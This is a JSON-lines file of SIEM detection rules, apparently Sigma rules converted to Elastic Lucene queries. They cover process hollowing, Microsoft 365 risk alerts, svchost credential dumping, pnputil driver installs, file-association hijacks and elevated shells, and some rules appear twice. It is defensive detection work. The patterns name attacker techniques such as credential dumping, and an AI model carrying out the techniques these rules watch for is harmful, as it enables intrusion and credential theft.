{"description": "Detects when a memory process image does not match the disk image, indicative of process hollowing.", "author": ["Christopher Peacock '@securepeacock'", "SCYTHE '@scythe_io'", "Sittikorn S"], "enabled": false, "false_positives": ["There are no known false positives at this time"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e9318570-4c8c-5c20-c3b5-87118ba77b8c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysmon Process Hollowing Detection", "query": "(Type:\"Image is replaced\" AND (NOT (process.executable.text:(*\\:\\\\Program\\ Files\\\\* OR *\\:\\\\Program\\ Files\\ \$x86\$*) AND process.executable.text:(*\\\\chrome.exe OR *\\\\opera.exe OR *\\\\firefox.exe OR *\\\\MicrosoftEdge.exe OR *\\\\WMIADAP.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.", "enabled": false, "false_positives": [null], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "262b04c6-3d81-7429-e375-b50492ea3d10", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Microsoft 365 - Impossible Travel Activity", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Impossible\\ travel\\ activity\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e898ab1e-ba8b-22d5-86a8-ddacb3a6783e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Microsoft 365 - Unusual Volume of File Deletion", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Unusual\\ volume\\ of\\ file\\ deletion\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "7a5ac7ab-4047-355f-b3b5-2640f70a66e7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Activity Performed by Terminated User", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Activity\\ performed\\ by\\ terminated\\ user\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "af02962f-c363-3fb0-e82e-60ba5ac56ca6", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Inbox Forwarding", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Suspicious\\ inbox\\ forwarding\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1020"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1020", "name": "Automated Exfiltration", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "af02962f-c363-3fb0-e82e-60ba5ac56ca6", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Inbox Forwarding", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Suspicious\\ inbox\\ forwarding\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1020"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1020", "name": "Automated Exfiltration", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "78bd5776-c2cf-81e7-98ca-b106faec5881", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Activity from Suspicious IP Addresses", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Activity\\ from\\ suspicious\\ IP\\ addresses\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1573"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "78bd5776-c2cf-81e7-98ca-b106faec5881", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Activity from Suspicious IP Addresses", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Activity\\ from\\ suspicious\\ IP\\ addresses\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1573"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "97d4a121-37b3-1c18-b920-4bbbd9511a5e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Data Exfiltration to Unsanctioned Apps", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Data\\ exfiltration\\ to\\ unsanctioned\\ apps\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1537"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1537", "name": "Transfer Data to Cloud Account", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "e8672333-d3ca-c1b0-327f-4fa21606e717", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Logon from a Risky IP Address", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Log\\ on\\ from\\ a\\ risky\\ IP\\ address\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "dffeb157-638a-cfca-eb32-40e97bd8d069", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Microsoft 365 - Potential Ransomware Activity", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Potential\\ ransomware\\ activity\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1486"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1486", "name": "Data Encrypted for Impact", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2c0bbefe-f134-97d7-d832-94c11a87c71f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Activity from Infrequent Country", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Activity\\ from\\ infrequent\\ country\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1573"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6754fece-6e36-8930-7d5b-3b0f6a5e4f1f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious OAuth App File Download Activities", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Suspicious\\ OAuth\\ app\\ file\\ download\\ activities\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6754fece-6e36-8930-7d5b-3b0f6a5e4f1f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious OAuth App File Download Activities", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Suspicious\\ OAuth\\ app\\ file\\ download\\ activities\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", "enabled": false, "false_positives": ["User using a VPN or Proxy"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "4b998acb-5023-4dc2-41bd-df512e2ad10c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Activity from Anonymous IP Addresses", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"Activity\\ from\\ anonymous\\ IP\\ addresses\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1573"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a new admin is created.", "enabled": false, "false_positives": ["A legitmate new admin account being created"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b3c67198-8299-5823-320a-cfddd89adb49", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Privileged Account Creation", "query": "(properties.message:*Add\\ user* AND properties.message:*Add\\ member\\ to\\ role* AND winlog.event_data.Status:\"Success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Yochana Henderson", "'@Yochana-H'", "Tim Shelton"], "license": ""}
{"description": "Detects when a new credential is added to an existing applcation. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.", "enabled": false, "false_positives": ["When credentials are added/removed as part of the normal working hours/workflows"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "9dce31d0-7d4e-35f1-ffc4-25169ed8f8c5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Added Credentials to Existing Application", "query": "properties.message:(\"Update\\ Application\\-Certificates\\ and\\ secrets\\ management\" OR \"Update\\ Service\\ principal\\/Update\\ Application\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Bailey Bercik '@baileybercik'"], "license": ""}
{"description": "Detects when a new owner is added to an application. This gives that account privileges to make modifications and configuration changes to the application.", "enabled": false, "false_positives": ["When a new application owner is added by an administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b2b1155c-265a-7e96-c275-aefd143c4777", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Added Owner To Application", "query": "properties.message:\"Add\\ owner\\ to\\ application\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "Defense Evasion", "T1528"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1528", "name": "Steal Application Access Token", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Bailey Bercik '@baileybercik'"], "license": ""}
{"description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", "enabled": false, "false_positives": ["Actual admin using PIM."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c14e3fad-086f-8e74-f2ed-30c47ceeed04", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PIM Approvals And Deny Elevation", "query": "properties.message:\"Request\\ Approved\\/Denied\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Mark Morowczynski '@markmorow'", "Yochana Henderson", "'@Yochana-H'"], "license": ""}
{"description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", "enabled": false, "false_positives": ["Pnputil.exe being used may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3da4d134-c1fe-1326-00fe-5243aa4a52bc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Driver Install by pnputil.exe", "query": "(process.command_line:(*\\-i* OR *\\/install* OR *\\-a* OR *\\/add\\-driver* OR *.inf*) AND process.executable:*\\\\pnputil.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547", "T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}, {"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Hai Vaknin @LuxNoBulIshit", "Avihay eldad @aloneliassaf", "Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin", "enabled": false, "false_positives": ["Pnputil.exe being used may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3da4d134-c1fe-1326-00fe-5243aa4a52bc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Driver Install by pnputil.exe", "query": "(process.command_line.text:(*\\-i* OR *\\/install* OR *\\-a* OR *\\/add\\-driver* OR *.inf*) AND process.executable.text:*\\\\pnputil.exe)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Hai Vaknin @LuxNoBulIshit", "Avihay eldad @aloneliassaf", "Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials", "enabled": false, "false_positives": ["Non identified legit exectubale"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ad7769f7-5b3a-9786-cee8-5f897987c28f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SVCHOST Credential Dump", "query": "((winlog.event_data.TargetImage:*\\\\svchost.exe AND winlog.event_data.GrantedAccess:\"0x143a\") AND (NOT (process.executable.text:(*\\\\services.exe OR *\\\\msiexec.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1548"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florent Labouyrie"], "license": ""}
{"description": "Detects when a program changes the default file association of any extension to an executable", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "98ec2c1b-7ff6-789a-98da-406cb219802e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Change Default File Association To Executable", "query": "((process.command_line:*cmd* AND process.command_line:*\\ \\/c\\ * AND process.command_line:*assoc\\ * AND process.command_line:*exefile*) AND (NOT (process.command_line:*.exe\\=exefile*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects when a request has been made to transfer a Route 53 domain to another AWS account.", "enabled": false, "false_positives": ["A domain may be transferred to another AWS account by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Domain transfers from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "31f3ba46-f741-58ab-84b4-84ad124e5b76", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS Route 53 Domain Transferred to Another Account", "query": "(eventSource:\"route53.amazonaws.com\" AND eventName:\"TransferDomainToAnotherAwsAccount\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Elastic", "Austin Songer @austinsonger"], "license": ""}
{"description": "Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "65c0e353-e153-2316-5a06-9c6f7a94167c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Microsoft 365 - User Restricted from Sending Email", "query": "(eventSource:\"SecurityComplianceCenter\" AND eventName:\"User\\ restricted\\ from\\ sending\\ email\" AND status:\"success\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1199"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1199", "name": "Trusted Relationship", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["austinsonger"], "license": ""}
{"description": "Detects when a shell program such as the windows Command Prompt or PowerShell is launched with system privileges.", "author": ["frack113", "Tim Shelton (update fp)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14cbe1b8-d0a7-c0ca-e570-f12b776b7c49", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Elevated System Shell", "query": "((((process.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\cmd.exe)) OR (winlog.event_data.OriginalFileName:(\"PowerShell.EXE\" OR \"pwsh.dll\" OR \"Cmd.Exe\"))) AND (user.name:(*AUTHORI* OR *AUTORI*) AND LogonId:\"0x3e7\")) AND (NOT (((process.parent.executable.text:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Program\\ Files\\\\*) AND process.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe))) OR ((process.parent.executable.text:\"C:\\ManageEngine\\ADManager Plus\\pgsql\\bin\\postgres.exe\" AND process.executable.text:*\\\\cmd.exe)) OR ((process.parent.executable.text:C\\:\\\\Windows\\\\SysWOW64\\\\config\\\\systemprofile\\\\Citrix\\\\UpdaterBinaries\\\\* AND process.parent.executable.text:*\\\\CitrixReceiverUpdater.exe AND process.executable.text:*\\\\cmd.exe)) OR ((process.parent.executable.text:*\\\\python.exe AND process.command_line.text:\"C:\\WINDOWS\\system32\\cmd.exe /c \"ver\"\" AND process.working_directory.text:*C\\:\\\\WINDOWS\\\\Temp\\\\asgard2\\-agent\\\\*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects when a system process (ie located in system32, syswow64...etc) loads a DLL from a suspicious location such as %temp%", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1080f78-989b-aad3-9991-0cafecaa81b0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DLL Load By System Process From Suspicious Locations", "query": "((process.executable.text:C\\:\\\\Windows\\\\* AND dll.path:(*\\\\Users\\\\Public\\\\* OR *\\\\Downloads\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *C\\:\\\\PerfLogs\\\\*)) AND (NOT ((process.executable.text:*\\\\msiexec.exe OR dll.path:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*)) OR (process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\cleanmgr.exe\" AND dll.path:*\\\\ssshim.dll) OR (process.executable.text:C\\:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v* AND process.executable.text:*\\\\mscorsvw.exe AND dll.path:*\\\\AppData\\\\Local\\\\Temp\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [" (Idea)"], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
